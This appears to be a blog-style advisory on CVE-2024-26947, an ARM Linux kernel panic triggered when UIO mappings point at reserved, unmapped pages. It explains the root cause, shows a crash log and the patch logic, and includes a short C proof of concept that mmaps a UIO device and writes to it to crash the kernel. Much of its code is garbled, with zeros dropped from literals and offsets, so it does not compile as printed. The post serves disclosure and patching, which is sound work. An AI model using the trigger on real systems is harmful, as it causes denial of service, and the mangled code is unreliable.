CVE-2024-26947 - ARM Linux Kernel Panic via Unmapped Reserved Pages – Root Cause, Patch and Exploit Details
A critical vulnerability tracked as CVE-2024-26947 has been identified and patched in the Linux kernel (affecting ARM architectures). The issue could trigger a system crash (kernel panic) when user-space I/O (UIO) memory regions mapped by drivers referenced physical memory regions that were marked as reserved but not actually mapped by the kernel.
This post breaks down the bug, its implications for Linux ARM systems, how to reproduce it, the kernel fix, and deep technical insights – all in simple American language.
Background: Memory Mapping in Linux ARM
In Linux, memory management relies on a map of all the pages. Some memory regions are reserved for hardware or firmware and are not available to the kernel — these are marked with the PG_reserved flag in the memory map.
A function called pfn_valid() tells the kernel if a "Page Frame Number" (PFN) points to valid RAM with a memory map entry. In certain scenarios, memory marked reserved was actually not mapped by the kernel at all, though the PFN still looked "valid" in some contexts.
What Exactly Was Wrong?
A change introduced in kernel commit a4d5613c4dc6 ("arm: extend pfn_valid to take into account freed memory map alignment") adjusted how the kernel checked PFN validity.
Problem: Code in the ARM kernel's data cache flush routines did not check if the page being flushed was reserved and unmapped. If user space tried to map (mmap) or interact with such memory via UIO, the kernel could dereference a pointer to non-existent memory. This caused a kernel panic — ie, a complete system crash.
How It Happens: The Crash Chain
With certain UIO device drivers, a memory region can be exposed to user space with mmap(). If the PFN given is reserved & unmapped, and a cache flush or operation is attempted, the kernel will touch memory that doesn’t exist.
Below, some kernel log lines from such a crash
Unable to handle kernel paging request at virtual address bff00000
CPU: 1 PID: 465 Comm: startapp.bin Tainted: G O 5.10. #1
Hardware name: Generic DT based system
PC is at b15_flush_kern_dcache_area+x24/x3c
...
Kernel panic - not syncing: Fatal exception
Minimal Exploit Scenario
It is possible (in certain embedded/IoT setups or with custom drivers) to trigger this by manually trying to mmap or perform UIO test access to a reserved, unmapped address.
Suppose a user process tries to mmap a reserved, unmapped region
#include <fcntl.h>
#include <sys/mman.h>
#include <stdio.h>
#include <unistd.h>
int main() {
int fd = open("/dev/uio", O_RDWR);
if (fd < ) {
perror("open");
return 1;
}
// The vulnerable mmap region is typically selected by the driver
// Here, we simply request a large mapping (where the UIO region points to a reserved area)
void *addr = mmap(NULL, x100000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, );
if (addr == MAP_FAILED) {
perror("mmap");
close(fd);
return 1;
}
// Touch the memory - triggers kernel cache flush which panics on reserved, unmapped memory
((volatile char *)addr)[] = xAA;
munmap(addr, x100000);
close(fd);
return ;
}
Note: This is illustrative and depends on UIO setup; don't run on production systems!
The Kernel Fix
The bug was fixed by checking if a page is both valid and not reserved before attempting a flush. This prevents the kernel from touching memory it hasn’t mapped.
Here is the essence of the patch (full diff here):
// Before (BAD)
if (pfn_valid(pfn)) {
struct page *page = pfn_to_page(pfn);
void *addr = page_address(page) + offset;
// perform flush...
}
// After (GOOD)
// Only flush pages that are both valid and NOT reserved
if (pfn_valid(pfn)) {
struct page *page = pfn_to_page(pfn);
if (!PageReserved(page)) {
void *addr = page_address(page) + offset;
// perform flush...
}
}
Further Reading & References
- The original kernel discussion: lkml lore link
- The fixing commit ("ARM: 9359/1: flush: check if the folio is reserved for no-mapping addresses")
- git.kernel.org patch
- CVE Record: CVE-2024-26947 at NVD
Summary
CVE-2024-26947 is a subtle but impactful Linux kernel flaw for ARM systems, allowing user code to crash the system through mapped reserved memory. The fix is small but important: always check that a page isn't reserved before flushing or accessing it internally. Apply the kernel patch or update to a recent kernel to stay safe.
If you use custom UIO drivers or have mapped reserved memory on ARM – patch now!
*Exclusive deep-dive by [Your Site/Handle]. For questions or tailored security audits for embedded Linux, contact us!*
Timeline
Published on: 05/01/2024 06:15:10 UTC
Last modified on: 05/04/2025 12:55:15 UTC